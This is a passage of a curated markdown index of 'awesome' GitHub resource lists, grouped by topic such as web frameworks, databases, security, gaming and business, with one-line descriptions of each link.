- [Android UI](https://github.com/wasabeef/awesome-android-ui#readme)
- [iOS UI](https://github.com/cjwirth/awesome-ios-ui#readme)
- [Meteor](https://github.com/Urigo/awesome-meteor#readme)
- [BEM](https://github.com/sturobson/BEM-resources#readme)
- [Flexbox](https://github.com/afonsopacifer/awesome-flexbox#readme)
- [Web Typography](https://github.com/deanhume/typography#readme)
- [Web Accessibility](https://github.com/brunopulis/awesome-a11y#readme)
- [Material Design](https://github.com/sachin1092/awesome-material#readme)
- [D3](https://github.com/wbkd/awesome-d3#readme) - Library for producing dynamic, interactive data visualizations.
- [Emails](https://github.com/jonathandion/awesome-emails#readme)
- [jQuery](https://github.com/petk/awesome-jquery#readme) - Easy to use JavaScript library for DOM manipulation.
- [Tips](https://github.com/AllThingsSmitty/jquery-tips-everyone-should-know#readme)
- [Web Audio](https://github.com/notthetup/awesome-webaudio#readme)
- [Offline-First](https://github.com/pazguille/offline-first#readme)
- [Static Website Services](https://github.com/agarrharr/awesome-static-website-services#readme)
- [Cycle.js](https://github.com/cyclejs-community/awesome-cyclejs#readme) - Functional and reactive JavaScript framework.
- [Text Editing](https://github.com/dok/awesome-text-editing#readme)
- [Motion UI Design](https://github.com/fliptheweb/motion-ui-design#readme)
- [Vue.js](https://github.com/vuejs/awesome-vue#readme) - App framework.
- [Marionette.js](https://github.com/sadcitizen/awesome-marionette#readme) - App framework.
- [Aurelia](https://github.com/aurelia-contrib/awesome-aurelia#readme) - App framework.
- [Charting](https://github.com/zingchart/awesome-charting#readme)
- [Ionic Framework 2](https://github.com/candelibas/awesome-ionic#readme)
- [Chrome DevTools](https://github.com/ChromeDevTools/awesome-chrome-devtools#readme)
- [PostCSS](https://github.com/jdrgomes/awesome-postcss#readme) - CSS tool.
- [Draft.js](https://github.com/nikgraf/awesome-draft-js#readme) - Rich text editor framework for React.
- [Service Workers](https://github.com/TalAter/awesome-service-workers#readme)
- [Progressive Web Apps](https://github.com/TalAter/awesome-progressive-web-apps#readme)
- [choo](https://github.com/choojs/awesome-choo#readme) - App framework.
- [Redux](https://github.com/brillout/awesome-redux#readme) - State container for JavaScript apps.
- [webpack](https://github.com/webpack-contrib/awesome-webpack#readme) - Module bundler.
- [Browserify](https://github.com/browserify/awesome-browserify#readme) - Module bundler.
- [Sass](https://github.com/Famolus/awesome-sass#readme) - CSS preprocessor.
- [Ant Design](https://github.com/websemantics/awesome-ant-design#readme) - Enterprise-class UI design language.
- [Less](https://github.com/LucasBassetti/awesome-less#readme) - CSS preprocessor.
- [WebGL](https://github.com/sjfricke/awesome-webgl#readme) - JavaScript API for rendering 3D graphics.
- [Preact](https://github.com/ooade/awesome-preact#readme) - App framework.
- [Progressive Enhancement](https://github.com/jbmoelker/progressive-enhancement-resources#readme)
- [Next.js](https://github.com/unicodeveloper/awesome-nextjs#readme) - Framework for server-rendered React apps.
- [Hyperapp](https://github.com/jorgebucaran/awesome-hyperapp#readme) - Tiny JavaScript library for building web apps.
- [lit-html](https://github.com/web-padawan/awesome-lit-html#readme) - HTML templating library for JavaScript.
- [JAMstack](https://github.com/automata/awesome-jamstack#readme) - Modern web development architecture based on client-side JavaScript, reusable APIs, and prebuilt markup.
- [WordPress-Gatsby](https://github.com/henrikwirth/awesome-wordpress-gatsby#readme) - Web development technology stack with WordPress as a back end and Gatsby as a front end.
- [Mobile Web Development](https://github.com/myshov/awesome-mobile-web-development#readme) - Creating a great mobile web experience.
- [Storybook](https://github.com/lauthieb/awesome-storybook#readme) - Development environment for UI components.
- [Blazor](https://github.com/AdrienTorris/awesome-blazor#readme) - .NET web framework using C#/Razor and HTML that runs in the browser with WebAssembly.
- [Web Performance Metrics](https://github.com/csabapalfi/awesome-web-performance-metrics#readme) - Metrics to help understand page speed and user experience.
- [Tailwind CSS](https://github.com/aniftyco/awesome-tailwindcss#readme) - Utility-first CSS framework for rapid UI development.
- [Seed](https://github.com/seed-rs/awesome-seed-rs#readme) - Rust framework for creating web apps running in WebAssembly.
- [Web Performance Budget](https://github.com/pajaydev/awesome-performance-budget#readme) - Techniques to ensure certain performance metrics for a website.
- [Web Animation](https://github.com/sergey-pimenov/awesome-web-animation#readme) - Animations in the browser with JavaScript, CSS, SVG, etc.
- [Yew](https://github.com/jetli/awesome-yew#readme) - Rust framework inspired by Elm and React for creating multi-threaded frontend web apps with WebAssembly.
- [Material-UI](https://github.com/nadunindunil/awesome-material-ui#readme) - Material Design React components for faster and easier web development.
## Back-End Development
- [Flask](https://github.com/humiaozuzu/awesome-flask#readme) - Python framework.
- [Docker](https://github.com/veggiemonk/awesome-docker#readme)
- [Vagrant](https://github.com/iJackUA/awesome-vagrant#readme) - Automation virtual machine environment.
- [Pyramid](https://github.com/uralbash/awesome-pyramid#readme) - Python framework.
- [Play1 Framework](https://github.com/PerfectCarl/awesome-play1#readme)
- [CakePHP](https://github.com/friendsofcake/awesome-cakephp#readme) - PHP framework.
- [Symfony](https://github.com/sitepoint-editors/awesome-symfony#readme) - PHP framework.
- [Education](https://github.com/pehapkari/awesome-symfony-education#readme)
- [Laravel](https://github.com/chiraggude/awesome-laravel#readme) - PHP framework.
- [Education](https://github.com/fukuball/Awesome-Laravel-Education#readme)
- [Rails](https://github.com/ekremkaraca/awesome-rails#readme) - Web app framework for Ruby.
- [Gems](https://github.com/hothero/awesome-rails-gem#readme) - Packages.
- [Phalcon](https://github.com/phalcon/awesome-phalcon#readme) - PHP framework.
- [Useful `.htaccess` Snippets](https://github.com/phanan/htaccess#readme)
- [nginx](https://github.com/fcambus/nginx-resources#readme) - Web server.
- [Dropwizard](https://github.com/stve/awesome-dropwizard#readme) - Java framework.
- [Kubernetes](https://github.com/ramitsurana/awesome-kubernetes#readme) - Open-source platform that automates Linux container operations.
- [Lumen](https://github.com/unicodeveloper/awesome-lumen#readme) - PHP micro-framework.
- [Serverless Framework](https://github.com/pmuens/awesome-serverless#readme) - Serverless computing and serverless architectures.
- [Apache Wicket](https://github.com/PhantomYdn/awesome-wicket#readme) - Java web app framework.
- [Vert.x](https://github.com/vert-x3/vertx-awesome#readme) - Toolkit for building reactive apps on the JVM.
- [Terraform](https://github.com/shuaibiyy/awesome-terraform#readme) - Tool for building, changing, and versioning infrastructure.
- [Vapor](https://github.com/Cellane/awesome-vapor#readme) - Server-side development in Swift.
- [Dash](https://github.com/ucg8j/awesome-dash#readme) - Python web app framework.
## Computer Science
- [University Courses](https://github.com/prakhar1989/awesome-courses#readme)
- [Data Science](https://github.com/bulutyazilim/awesome-datascience#readme)
- [Tutorials](https://github.com/siboehm/awesome-learn-datascience#readme)
- [Machine Learning](https://github.com/josephmisiti/awesome-machine-learning#readme)
- [Tutorials](https://github.com/ujjwalkarn/Machine-Learning-Tutorials#readme)
- [ML with Ruby](https://github.com/arbox/machine-learning-with-ruby#readme) - Learning, implementing, and applying Machine Learning using Ruby.
- [Core ML Models](https://github.com/likedan/Awesome-CoreML-Models#readme) - Models for Apple's machine learning framework.
- [H2O](https://github.com/h2oai/awesome-h2o#readme) - Open source distributed machine learning platform written in Java with APIs in R, Python, and Scala.
- [Speech and Natural Language Processing](https://github.com/edobashira/speech-language-processing#readme)
- [Spanish](https://github.com/dav009/awesome-spanish-nlp#readme)
- [NLP with Ruby](https://github.com/arbox/nlp-with-ruby#readme)
- [Question Answering](https://github.com/seriousmac/awesome-qa#readme) - The science of asking and answering in natural language with a machine.
- [Natural Language Generation](https://github.com/tokenmill/awesome-nlg#readme) - Generation of text used in data to text, conversational agents, and narrative generation applications.
- [Linguistics](https://github.com/theimpossibleastronaut/awesome-linguistics#readme)
- [Cryptography](https://github.com/sobolevn/awesome-cryptography#readme)
- [Papers](https://github.com/pFarb/awesome-crypto-papers#readme) - Theory basics for using cryptography by non-cryptographers.
- [Computer Vision](https://github.com/jbhuang0604/awesome-computer-vision#readme)
- [Deep Learning](https://github.com/ChristosChristofidis/awesome-deep-learning#readme) - Neural networks.
- [TensorFlow](https://github.com/jtoy/awesome-tensorflow#readme) - Library for machine intelligence.
- [Papers](https://github.com/terryum/awesome-deep-learning-papers#readme) - The most cited deep learning papers.
- [Education](https://github.com/guillaume-chevalier/awesome-deep-learning-resources#readme)
- [Deep Vision](https://github.com/kjw0612/awesome-deep-vision#readme)
- [Open Source Society University](https://github.com/ossu/computer-science#readme)
- [Functional Programming](https://github.com/lucasviola/awesome-functional-programming#readme)
- [Empirical Software Engineering](https://github.com/dspinellis/awesome-msr#readme) - Evidence-based research on software systems.
- [Static Analysis & Code Quality](https://github.com/mre/awesome-static-analysis#readme)
- [Information Retrieval](https://github.com/harpribot/awesome-information-retrieval#readme) - Learn to develop your own search engine.
- [Quantum Computing](https://github.com/desireevl/awesome-quantum-computing#readme) - Computing which utilizes quantum mechanics and qubits on quantum computers.
## Big Data
- [Big Data](https://github.com/onurakpolat/awesome-bigdata#readme)
- [Public Datasets](https://github.com/awesomedata/awesome-public-datasets#readme)
- [Hadoop](https://github.com/youngwookim/awesome-hadoop#readme) - Framework for distributed storage and processing of very large data sets.
- [Data Engineering](https://github.com/igorbarinov/awesome-data-engineering#readme)
- [Streaming](https://github.com/manuzhang/awesome-streaming#readme)
- [Apache Spark](https://github.com/awesome-spark/awesome-spark#readme) - Unified engine for large-scale data processing.
- [Qlik](https://github.com/ambster-public/awesome-qlik#readme) - Business intelligence platform for data visualization, analytics, and reporting apps.
- [Splunk](https://github.com/sduff/awesome-splunk#readme) - Platform for searching, monitoring, and analyzing structured and unstructured machine-generated big data in real-time.
## Theory
- [Papers We Love](https://github.com/papers-we-love/papers-we-love#readme)
- [Talks](https://github.com/JanVanRyswyck/awesome-talks#readme)
- [Algorithms](https://github.com/tayllan/awesome-algorithms#readme)
- [Education](https://github.com/gaerae/awesome-algorithms-education#readme) - Learning and practicing.
- [Algorithm Visualizations](https://github.com/enjalot/algovis#readme)
- [Artificial Intelligence](https://github.com/owainlewis/awesome-artificial-intelligence#readme)
- [Search Engine Optimization](https://github.com/marcobiedermann/search-engine-optimization#readme)
- [Competitive Programming](https://github.com/lnishan/awesome-competitive-programming#readme)
- [Math](https://github.com/rossant/awesome-math#readme)
- [Recursion Schemes](https://github.com/passy/awesome-recursion-schemes#readme) - Traversing nested data structures.
## Books
- [Free Programming Books](https://github.com/EbookFoundation/free-programming-books#readme)
- [Free Software Testing Books](https://github.com/ligurio/awesome-software-quality#readme)
- [Go Books](https://github.com/dariubs/GoBooks#readme)
- [R Books](https://github.com/RomanTsegelskyi/rbooks#readme)
- [Mind Expanding Books](https://github.com/hackerkid/Mind-Expanding-Books#readme)
- [Book Authoring](https://github.com/TalAter/awesome-book-authoring#readme)
- [Elixir Books](https://github.com/sger/ElixirBooks#readme)
## Editors
- [Sublime Text](https://github.com/dreikanter/sublime-bookmarks#readme)
- [Vim](https://github.com/mhinz/vim-galore#readme)
- [Emacs](https://github.com/emacs-tw/awesome-emacs#readme)
- [Atom](https://github.com/mehcode/awesome-atom#readme) - Open-source and hackable text editor.
- [Visual Studio Code](https://github.com/viatsko/awesome-vscode#readme) - Cross-platform open-source text editor.
## Gaming
- [Game Development](https://github.com/ellisonleao/magictools#readme)
- [Game Networking](https://github.com/MFatihMAR/Awesome-Game-Networking#readme) - Network programming for multiplayer online games.
- [Game Talks](https://github.com/hzoo/awesome-gametalks#readme)
- [Godot](https://github.com/Calinou/awesome-godot#readme) - Game engine.
- [Open Source Games](https://github.com/leereilly/games#readme)
- [Unity](https://github.com/RyanNielson/awesome-unity#readme) - Game engine.
- [Chess](https://github.com/hkirat/awesome-chess#readme)
- [LÖVE](https://github.com/love2d-community/awesome-love2d#readme) - Game engine.
- [PICO-8](https://github.com/pico-8/awesome-PICO-8#readme) - Fantasy console.
- [Game Boy Development](https://github.com/gbdev/awesome-gbdev#readme)
- [Construct 2](https://github.com/WebCreationClub/awesome-construct#readme) - Game engine.
- [Gideros](https://github.com/stetso/awesome-gideros#readme) - Game engine.
- [Minecraft](https://github.com/bs-community/awesome-minecraft#readme) - Sandbox video game.
- [Game Datasets](https://github.com/leomaurodesenv/game-datasets#readme) - Materials and datasets for Artificial Intelligence in games.
- [Haxe Game Development](https://github.com/Dvergar/awesome-haxe-gamedev#readme) - A high-level strongly typed programming language used to produce cross-platform native code.
- [libGDX](https://github.com/rafaskb/awesome-libgdx#readme) - Java game framework.
- [PlayCanvas](https://github.com/playcanvas/awesome-playcanvas#readme) - Game engine.
- [Game Remakes](https://github.com/radek-sprta/awesome-game-remakes#readme) - Actively maintained open-source game remakes.
## Development Environment
- [Quick Look Plugins](https://github.com/sindresorhus/quick-look-plugins#readme) - For macOS.
- [Dev Env](https://github.com/jondot/awesome-devenv#readme)
- [Dotfiles](https://github.com/webpro/awesome-dotfiles#readme)
- [Shell](https://github.com/alebcay/awesome-shell#readme)
- [Fish](https://github.com/jorgebucaran/awesome-fish#readme) - User-friendly shell.
- [Command-Line Apps](https://github.com/agarrharr/awesome-cli-apps#readme)
- [ZSH Plugins](https://github.com/unixorn/awesome-zsh-plugins#readme)
- [GitHub](https://github.com/phillipadsmith/awesome-github#readme) - Hosting service for Git repositories.
- [Browser Extensions](https://github.com/stefanbuck/awesome-browser-extensions-for-github#readme)
- [Cheat Sheet](https://github.com/tiimgreen/github-cheat-sheet#readme)
- [Pinned Gists](https://github.com/matchai/awesome-pinned-gists#readme) - Dynamic pinned gists for your GitHub profile.
- [Git Cheat Sheet & Git Flow](https://github.com/arslanbilal/git-cheat-sheet#readme)
- [Git Tips](https://github.com/git-tips/tips#readme)
- [Git Add-ons](https://github.com/stevemao/awesome-git-addons#readme) - Enhance the `git` CLI.
- [Git Hooks](https://github.com/compscilauren/awesome-git-hooks#readme) - Scripts for automating tasks during `git` workflows.
- [SSH](https://github.com/moul/awesome-ssh#readme)
- [FOSS for Developers](https://github.com/tvvocold/FOSS-for-Dev#readme)
- [Hyper](https://github.com/bnb/awesome-hyper#readme) - Cross-platform terminal app built on web technologies.
- [PowerShell](https://github.com/janikvonrotz/awesome-powershell#readme) - Cross-platform object-oriented shell.
- [Alfred Workflows](https://github.com/derimagia/awesome-alfred-workflows#readme) - Productivity app for macOS.
- [Terminals Are Sexy](https://github.com/k4m4/terminals-are-sexy#readme)
- [GitHub Actions](https://github.com/sdras/awesome-actions#readme) - Create tasks to automate your workflow and share them with others on GitHub.
## Entertainment
- [Science Fiction](https://github.com/sindresorhus/awesome-scifi#readme) - Scifi.
- [Fantasy](https://github.com/RichardLitt/awesome-fantasy#readme)
- [Podcasts](https://github.com/ayr-ton/awesome-geek-podcasts#readme)
- [Email Newsletters](https://github.com/zudochkin/awesome-newsletters#readme)
- [IT Quotes](https://github.com/victorlaerte/awesome-it-quotes#readme)
## Databases
- [Database](https://github.com/numetriclabz/awesome-db#readme)
- [MySQL](https://github.com/shlomi-noach/awesome-mysql#readme)
- [SQLAlchemy](https://github.com/dahlia/awesome-sqlalchemy#readme)
- [InfluxDB](https://github.com/mark-rushakoff/awesome-influxdb#readme)
- [Neo4j](https://github.com/neueda/awesome-neo4j#readme)
- [MongoDB](https://github.com/ramnes/awesome-mongodb#readme) - NoSQL database.
- [RethinkDB](https://github.com/d3viant0ne/awesome-rethinkdb#readme)
- [TinkerPop](https://github.com/mohataher/awesome-tinkerpop#readme) - Graph computing framework.
- [PostgreSQL](https://github.com/dhamaniasad/awesome-postgres#readme) - Object-relational database.
- [CouchDB](https://github.com/quangv/awesome-couchdb#readme) - Document-oriented NoSQL database.
- [HBase](https://github.com/rayokota/awesome-hbase#readme) - Distributed, scalable, big data store.
- [NoSQL Guides](https://github.com/erictleung/awesome-nosql-guides#readme) - Help on using non-relational, distributed, open-source, and horizontally scalable databases.
- [Contexture](https://github.com/ltchris/awesome-contexture#readme) - Abstracts queries/filters and results/aggregations from different backing data stores like ElasticSearch and MongoDB.
## Media
- [Creative Commons Media](https://github.com/shime/creative-commons-media#readme)
- [Fonts](https://github.com/brabadu/awesome-fonts#readme)
- [Codeface](https://github.com/chrissimpkins/codeface#readme) - Text editor fonts.
- [Stock Resources](https://github.com/neutraltone/awesome-stock-resources#readme)
- [GIF](https://github.com/davisonio/awesome-gif#readme) - Image format known for animated images.
- [Music](https://github.com/ciconia/awesome-music#readme)
- [Open Source Documents](https://github.com/hubtee/awesome-opensource-documents#readme)
- [Audio Visualization](https://github.com/willianjusten/awesome-audio-visualization#readme)
- [Broadcasting](https://github.com/ebu/awesome-broadcasting#readme)
- [Pixel Art](https://github.com/Siilwyn/awesome-pixel-art#readme) - Pixel-level digital art.
- [FFmpeg](https://github.com/transitive-bullshit/awesome-ffmpeg#readme) - Cross-platform solution to record, convert and stream audio and video.
- [Icons](https://github.com/notlmn/awesome-icons#readme) - Downloadable SVG/PNG/font icon projects.
## Learn
- [CLI Workshoppers](https://github.com/therebelrobot/awesome-workshopper#readme) - Interactive tutorials.
- [Learn to Program](https://github.com/karlhorky/learn-to-program#readme)
- [Speaking](https://github.com/matteofigus/awesome-speaking#readme)
- [Tech Videos](https://github.com/lucasviola/awesome-tech-videos#readme)
- [Dive into Machine Learning](https://github.com/hangtwenty/dive-into-machine-learning#readme)
- [Computer History](https://github.com/watson/awesome-computer-history#readme)
- [Programming for Kids](https://github.com/HollyAdele/awesome-programming-for-kids#readme)
- [Educational Games](https://github.com/yrgo/awesome-eg#readme) - Learn while playing.
- [JavaScript Learning](https://github.com/micromata/awesome-javascript-learning#readme)
- [CSS Learning](https://github.com/micromata/awesome-css-learning#readme) - Mainly about CSS – the language and the modules.
- [Product Management](https://github.com/dend/awesome-product-management#readme) - Learn how to be a better product manager.
- [Roadmaps](https://github.com/liuchong/awesome-roadmaps#readme) - Gives you a clear route to improve your knowledge and skills.
## Security
- [Application Security](https://github.com/paragonie/awesome-appsec#readme)
- [Security](https://github.com/sbilly/awesome-security#readme)
- [CTF](https://github.com/apsdehal/awesome-ctf#readme) - Capture The Flag.
- [Malware Analysis](https://github.com/rshipp/awesome-malware-analysis#readme)
- [Android Security](https://github.com/ashishb/android-security-awesome#readme)
- [Hacking](https://github.com/carpedm20/awesome-hacking#readme)
- [Honeypots](https://github.com/paralax/awesome-honeypots#readme) - Deception trap, designed to entice an attacker into attempting to compromise the information systems in an organization.
- [Incident Response](https://github.com/meirwah/awesome-incident-response#readme)
- [Vehicle Security and Car Hacking](https://github.com/jaredthecoder/awesome-vehicle-security#readme)
- [Web Security](https://github.com/qazbnm456/awesome-web-security#readme) - Security of web apps & services.
- [Lockpicking](https://github.com/meitar/awesome-lockpicking#readme) - The art of unlocking a lock by manipulating its components without the key.
- [Cybersecurity Blue Team](https://github.com/meitar/awesome-cybersecurity-blueteam#readme) - Groups of individuals who identify security flaws in information technology systems.
- [Fuzzing](https://github.com/cpuu/awesome-fuzzing#readme) - Automated software testing technique that involves feeding pseudo-randomly generated input data.
- [Embedded and IoT Security](https://github.com/fkie-cad/awesome-embedded-and-iot-security#readme)
- [GDPR](https://github.com/bakke92/awesome-gdpr#readme) - Regulation on data protection and privacy for all individuals within EU.
## Content Management Systems
- [Umbraco](https://github.com/umbraco-community/awesome-umbraco#readme)
- [Refinery CMS](https://github.com/refinerycms-contrib/awesome-refinerycms#readme) - Ruby on Rails CMS.
- [Wagtail](https://github.com/springload/awesome-wagtail#readme) - Django CMS focused on flexibility and user experience.
- [Textpattern](https://github.com/drmonkeyninja/awesome-textpattern#readme) - Lightweight PHP-based CMS.
- [Drupal](https://github.com/nirgn975/awesome-drupal#readme) - Extensible PHP-based CMS.
- [Craft CMS](https://github.com/craftcms/awesome#readme) - Content-first CMS.
## Hardware
- [Robotics](https://github.com/Kiloreux/awesome-robotics#readme)
- [Internet of Things](https://github.com/HQarroum/awesome-iot#readme)
- [Electronics](https://github.com/kitspace/awesome-electronics#readme) - For electronic engineers and hobbyists.
- [Bluetooth Beacons](https://github.com/squaremetrics/awesome-beacon#readme)
- [Electric Guitar Specifications](https://github.com/gitfrage/guitarspecs#readme) - Checklist for building your own electric guitar.
## Business
- [Open Companies](https://github.com/opencompany/awesome-open-company#readme)
- [Places to Post Your Startup](https://github.com/mmccaff/PlacesToPostYourStartup#readme)
- [OKR Methodology](https://github.com/domenicosolazzo/awesome-okr#readme) - Goal setting & communication best practices.
- [Leading and Managing](https://github.com/LappleApple/awesome-leading-and-managing#readme) - Leading people and being a manager in a technology company/environment.
- [Indie](https://github.com/mezod/awesome-indie#readme) - Independent developer businesses.
- [Tools of the Trade](https://github.com/cjbarber/ToolsOfTheTrade#readme) - Tools used by companies on Hacker News.
- [Clean Tech](https://github.com/nglgzz/awesome-clean-tech#readme) - Fighting climate change with technology.
- [Wardley Maps](https://github.com/wardley-maps-community/awesome-wardley-maps#readme) - Provides high situational awareness to help improve strategic planning and decision making.
## Work
- [Slack](https://github.com/matiassingers/awesome-slack#readme) - Team collaboration.
- [Communities](https://github.com/filipelinhares/awesome-slack#readme)
- [Remote Jobs](https://github.com/lukasz-madon/awesome-remote-job#readme)
- [Productivity](https://github.com/jyguyomarch/awesome-productivity#readme)
- [Niche Job Boards](https://github.com/tramcar/awesome-job-boards#readme)
- [Programming Interviews](https://github.com/MaximAbramchuck/awesome-interview-questions#readme)
- [Code Review](https://github.com/joho/awesome-code-review#readme) - Reviewing code.
## Networking
- [Software-Defined Networking](https://github.com/sdnds-tw/awesome-sdn#readme)
- [Network Analysis](https://github.com/briatte/awesome-network-analysis#readme)
- [PCAPTools](https://github.com/caesar0301/awesome-pcaptools#readme)
## Decentralized Systems
- [Bitcoin](https://github.com/igorbarinov/awesome-bitcoin#readme) - Bitcoin services and tools for software developers.
- [Ripple](https://github.com/vhpoet/awesome-ripple#readme) - Open source distributed settlement network.
- [Non-Financial Blockchain](https://github.com/machinomy/awesome-non-financial-blockchain#readme) - Non-financial blockchain applications.
- [Mastodon](https://github.com/tleb/awesome-mastodon#readme) - Open source decentralized microblogging network.
- [Ethereum](https://github.com/Tom2718/Awesome-Ethereum#readme) - Distributed computing platform for smart contract development.
- [Blockchain AI](https://github.com/steven2358/awesome-blockchain-ai#readme) - Blockchain projects for artificial intelligence and machine learning.
- [EOSIO](https://github.com/DanailMinchev/awesome-eosio#readme) - A decentralized operating system supporting industrial-scale apps.
- [Corda](https://github.com/chainstack/awesome-corda#readme) - Open source blockchain platform designed for business.
## Higher Education
- [Computational Neuroscience](https://github.com/eselkin/awesome-computational-neuroscience#readme) - A multidisciplinary science which uses computational approaches to study the nervous system.
- [Digital History](https://github.com/maehr/awesome-digital-history#readme) - Computer-aided scientific investigation of history.
## Events
- [Creative Tech Events](https://github.com/danvoyce/awesome-creative-tech-events#readme) - Events around the globe for creative coding, tech, design, music, arts and cool stuff.
- [Events in Italy](https://github.com/ildoc/awesome-italy-events#readme) - Tech-related events in Italy.
- [Events in the Netherlands](https://github.com/awkward/awesome-netherlands-events#readme) - Tech-related events in the Netherlands.
## Testing
- [Testing](https://github.com/TheJambo/awesome-testing#readme) - Software testing.
- [Visual Regression Testing](https://github.com/mojoaxel/awesome-regression-testing#readme) - Ensures changes did not break the functionality or style.
- [Selenium](https://github.com/christian-bromann/awesome-selenium#readme) - Open-source browser automation framework and ecosystem.
- [Appium](https://github.com/SrinivasanTarget/awesome-appium#readme) - Test automation tool for apps.
- [TAP](https://github.com/sindresorhus/awesome-tap#readme) - Test Anything Protocol.
- [JMeter](https://github.com/aliesbelik/awesome-jmeter#readme) - Load testing and performance measurement tool.
- [k6](https://github.com/k6io/awesome-k6#readme) - Open-source, developer-centric performance monitoring and load testing solution.
## Miscellaneous
- [JSON](https://github.com/burningtree/awesome-json#readme) - Text based data interchange format.
- [GeoJSON](https://github.com/tmcw/awesome-geojson#readme)
- [Datasets](https://github.com/jdorfman/awesome-json-datasets#readme)
- [CSV](https://github.com/secretGeek/awesomeCSV#readme) - A text file format that stores tabular data and uses a comma to separate values.
- [Discounts for Student Developers](https://github.com/AchoArnold/discount-for-student-dev#readme)
- [Sysadmin](https://github.com/n1trux/awesome-sysadmin#readme)
- [Radio](https://github.com/kyleterry/awesome-radio#readme)
- [Awesome](https://github.com/sindresorhus/awesome#readme) - Recursion illustrated.
- [Analytics](https://github.com/onurakpolat/awesome-analytics#readme)
- [REST](https://github.com/marmelab/awesome-rest#readme)
- [Continuous Integration and Continuous Delivery](https://github.com/ciandcd/awesome-ciandcd#readme)
- [Services Engineering](https://github.com/mmcgrana/services-engineering#readme)
- [Free for Developers](https://github.com/ripienaar/free-for-dev#readme)
- [Answers](https://github.com/cyberglot/awesome-answers#readme) - Stack Overflow, Quora, etc.
- [Sketch](https://github.com/diessica/awesome-sketch#readme) - Design app for macOS.
- [Boilerplate Projects](https://github.com/melvin0008/awesome-projects-boilerplates#readme)
- [Readme](https://github.com/matiassingers/awesome-readme#readme)
- [Design and Development Guides](https://github.com/NARKOZ/guides#readme)
- [Software Engineering Blogs](https://github.com/kilimchoi/engineering-blogs#readme)
- [Self Hosted](https://github.com/Kickball/awesome-selfhosted#readme)
- [FOSS Production Apps](https://github.com/DataDaoDe/awesome-foss-apps#readme)
- [Gulp](https://github.com/alferov/awesome-gulp#readme) - Task runner.
- [AMA](https://github.com/sindresorhus/amas#readme) - Ask Me Anything.
- [Answers](https://github.com/stoeffel/awesome-ama-answers#readme)
- [Open Source Photography](https://github.com/ibaaj/awesome-OpenSourcePhotography#readme)
- [OpenGL](https://github.com/eug/awesome-opengl#readme) - Cross-platform API for rendering 2D and 3D graphics.
- [GraphQL](https://github.com/chentsulin/awesome-graphql#readme)
- [Transit](https://github.com/CUTR-at-USF/awesome-transit#readme)
- [Research Tools](https://github.com/emptymalei/awesome-research#readme)
- [Data Visualization](https://github.com/fasouto/awesome-dataviz#readme)
- [Social Media Share Links](https://github.com/vinkla/shareable-links#readme)
- [Microservices](https://github.com/mfornos/awesome-microservices#readme)
- [Unicode](https://github.com/Wisdom/Awesome-Unicode#readme) - Unicode standards, quirks, packages and resources.
- [Code Points](https://github.com/Codepoints/awesome-codepoints#readme)
- [Beginner-Friendly Projects](https://github.com/MunGell/awesome-for-beginners#readme)
- [Katas](https://github.com/gamontal/awesome-katas#readme)
- [Tools for Activism](https://github.com/drewrwilson/toolsforactivism#readme)
- [Citizen Science](https://github.com/dylanrees/citizen-science#readme) - For community-based and non-institutional scientists.
- [MQTT](https://github.com/hobbyquaker/awesome-mqtt#readme) - "Internet of Things" connectivity protocol.
- [Hacking Spots](https://github.com/daviddias/awesome-hacking-locations#readme)
- [For Girls](https://github.com/cristianoliveira/awesome4girls#readme)
- [Vorpal](https://github.com/vorpaljs/awesome-vorpal#readme) - Node.js CLI framework.
- [Vulkan](https://github.com/vinjn/awesome-vulkan#readme) - Low-overhead, cross-platform 3D graphics and compute API.
- [LaTeX](https://github.com/egeerardyn/awesome-LaTeX#readme) - Typesetting language.
- [Economics](https://github.com/antontarasenko/awesome-economics#readme) - An economist's starter kit.
- [Funny Markov Chains](https://github.com/sublimino/awesome-funny-markov#readme)
- [Bioinformatics](https://github.com/danielecook/Awesome-Bioinformatics#readme)
- [Cheminformatics](https://github.com/hsiaoyi0504/awesome-cheminformatics#readme) - Informatics techniques applied to problems in chemistry.
- [Colorful](https://github.com/Siddharth11/Colorful#readme) - Choose your next color scheme.
- [Steam](https://github.com/scholtzm/awesome-steam#readme) - Digital distribution platform.
- [Bots](https://github.com/hackerkid/bots#readme) - Building bots.
- [Site Reliability Engineering](https://github.com/dastergon/awesome-sre#readme)
- [Empathy in Engineering](https://github.com/KimberlyMunoz/empathy-in-engineering#readme) - Building and promoting more compassionate engineering cultures.
- [DTrace](https://github.com/xen0l/awesome-dtrace#readme) - Dynamic tracing framework.
- [Userscripts](https://github.com/brunocvcunha/awesome-userscripts#readme) - Enhance your browsing experience.
- [Pokémon](https://github.com/tobiasbueschel/awesome-pokemon#readme) - Pokémon and Pokémon GO.
- [ChatOps](https://github.com/exAspArk/awesome-chatops#readme) - Managing technical and business operations through a chat.
- [Falsehood](https://github.com/kdeldycke/awesome-falsehood#readme) - Falsehoods programmers believe in.
- [Domain-Driven Design](https://github.com/heynickc/awesome-ddd#readme) - Software development approach for complex needs by connecting the implementation to an evolving model.
- [Quantified Self](https://github.com/woop/awesome-quantified-self#readme) - Self-tracking through technology.
- [SaltStack](https://github.com/hbokh/awesome-saltstack#readme) - Python-based config management system.
- [Web Design](https://github.com/nicolesaidy/awesome-web-design#readme) - For digital designers.
- [Creative Coding](https://github.com/terkelg/awesome-creative-coding#readme) - Programming something expressive instead of something functional.
- [No-Login Web Apps](https://github.com/aviaryan/awesome-no-login-web-apps#readme) - Web apps that work without login.
- [Free Software](https://github.com/johnjago/awesome-free-software#readme) - Free as in freedom.
- [Framer](https://github.com/podo/awesome-framer#readme) - Prototyping interactive UI designs.
- [Markdown](https://github.com/BubuAnabelas/awesome-markdown#readme) - Markup language.
- [Dev Fun](https://github.com/mislavcimpersak/awesome-dev-fun#readme) - Funny developer projects.
- [Healthcare](https://github.com/kakoni/awesome-healthcare#readme) - Open source healthcare software for facilities, providers, developers, policy experts, and researchers.
- [Magento 2](https://github.com/DavidLambauer/awesome-magento2#readme) - Open Source eCommerce built with PHP.
- [TikZ](https://github.com/xiaohanyu/awesome-tikz#readme) - Graph drawing packages for TeX/LaTeX/ConTeXt.
- [Neuroscience](https://github.com/analyticalmonk/awesome-neuroscience#readme) - Study of the nervous system and brain.
- [Ad-Free](https://github.com/johnjago/awesome-ad-free#readme) - Ad-free alternatives.
- [Esolangs](https://github.com/angrykoala/awesome-esolangs#readme) - Programming languages designed for experimentation or as jokes rather than actual use.
- [Prometheus](https://github.com/roaldnefs/awesome-prometheus#readme) - Open-source monitoring system.
- [Homematic](https://github.com/hobbyquaker/awesome-homematic#readme) - Smart home devices.
- [Ledger](https://github.com/sfischer13/awesome-ledger#readme) - Double-entry accounting on the command-line.
